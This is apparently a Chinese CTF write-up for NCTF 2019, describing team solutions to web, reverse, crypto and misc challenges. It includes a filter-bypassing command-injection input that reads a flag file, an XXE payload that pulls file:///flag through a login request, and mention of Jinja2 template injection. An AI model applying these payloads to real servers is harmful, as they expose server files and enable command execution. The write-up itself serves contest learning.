2019_NCTF_WriteUp

边打边学,真的学了不少东西,那就总结整理一下吧

Web

easyphp

solver:Yiayaz

前两个很简单,第一天卡在第三个,第二天谷歌出来了

第一个:在23333后面加个%0a,

23333%0a

第二个:这个md5碰撞和之前的中科大的校赛有点像

它意思很明确,str1必须是数字,md5一开始不相同,str2把c换成0后要相同,python找一下

str1=240610708&str2=axN54

第三个:不给_,那就q.w.q呀,开头不给ls,然后还不给超过8个,不给直接cat,那就c’a’t’空格f*,

转一下输入再按F12就行

q.w.q=c%27a%27t%20f*

不得不说这题让我学了好多东西,这题我爱了。

flask

solver:Yiayaz

查看源码后发现会检查是否包含flag,于是通配符or字符拼接

Flask(Jinja2) 服务端模板注入漏洞(SSTI)

Fake XML cookbook

solver:0xfaner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var data = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE a [ <!ENTITY file SYSTEM "file:///flag">]>' + "<user><username>&file;</username><password>ss</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function(result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if (code == "0") {
$(".msg").text(msg + " login fail!");
} else if (code == "1") {
$(".msg").text(msg + " login success!");
} else {
$(".msg").text("error:" + msg);
}
},
error: function(XMLHttpRequest, textStatus, errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});

分析网站源码,可以看出该网站可以XML注入,而且可以回显,那么直接利用现成的ajax代码改一下报文即可。

Re

DEBUG

solver:Yiayaz

尝试在各个地方设置断点,虚拟机 16.04丝般顺滑 远程调试

签到题

solver:Yiayaz

高斯消元acm板子啊

找到的那一大串本来是准备一个个手敲的,但是写了几个以后发现它每七个一循环,那就七个七个来呗

Pwn

hello_pwn

solver:Yiayaz

remote连上去

Crypto

Keyboard

solver:Yiayaz

键盘上面字母对应的数字,然后拿出手机对着九键看出来

(实际上是谷歌了八个字母能干啥,然后就有说如果是连起来的是九键就试试惹,没想到。。。)

Sore

solver:Yiayaz

Vigenere,丢进CAP,找出长度23,然后低频后解出密钥,直接交了一发密钥wa了,用CAP反解出Vigenre明文,明文大小写,修改密钥大小写。

Misc

a_good_idea

solver:Yiayaz

下载图片,改成rar,然后7zip打开,两张图(to.png,to_do.png),stegsolve开启,Image Combiner点击,找到二维码,扫就完事

Become a Rockstar

solver:Yiayaz

下载下来是一首优美的歌 ?心态炸裂 ,然后看到NCTF{就很兴奋,文末还说不是程序,那就是文本阅读题呗

Say Problem Makers

Put Problem Makers with Alice into Problem Makers with Bob

Alice says you

Bob says ar

Shout RSA

Put Ron Rivest with Adi Shamir with Leonard Adleman into RSA

Ron Rivest says nice

Adi Shamir says rock

Leonard Adleman says star

五个人says后面连起来很通顺,嗯,那肯定是惹(这脑洞真的)

pip install

solver:Yiayaz

pip install —user nctf-2019-instal 后有个链接,点进去下载后找到setup.py这个文件,里面有个一看就觉得不大对劲的字符串,那我就不客气了,在线网站你懂的 不是涩琪

Bright Body I

solver:Yiayaz

打开游戏先去左边拿装备,按u装备,然后瞎玩。一次性把蓝打空,就差不多把敌人打死,有时候会留一点血,然后黑魂玩家无敌(我超勇的)。先手在敌人仇恨范围外打就行,打完就有flag。

2077

solver:Yiayaz

点开发现是官方的视频(论梯子的重要性),所以不是中科大校赛那题的解法(?我寻思主办方没有2077的员工把)。那就社工题呗,google 一下stream code 2077,网站上写的很清楚他们从视频里找出了图片,然后下载图片,最后图片sha256就出来了。

小狗的秘密

solver:Yiayaz、0xfaner

先谷歌了一下什么是pcapng文件,然后下载大黑阔用的Wireshark,打开文件,去找奇奇怪怪的包,最后找到一个http的导出后,是1.html,打开看到三维点阵,谷歌一下就是发现是RGB,但是当时在外面,就直接丢给队友。

队友道:得到了像素信息使用PIL库写入像素点画图片即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
# -*- coding:utf8 -
from PIL import Image
x = 50 #x坐标 通过对txt里的行数进行整数分解
y = 2700 #y坐标 x*y=行数 13500行,150和900也可以
# 长宽改一下就行 100 50
im = Image.new("RGB", (x, y))
file = open('basic.txt')

for i in range(0, x):
for j in range(0, y):
line = file.readline().replace('(','').replace(')','') #获取一行rgb值,并且把()都替换为空
rgb = line.split(",") #逗号分割
im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2]))) #(i,j)为坐标,后面的是像素点

im.save("flag.png")

原文链接

Other

NCTF2019问卷调查

solver:Yiayaz

这场比赛学到了很多东西,就是挺伤身体的,可能是因为我太菜了把,祝NCTF越办越好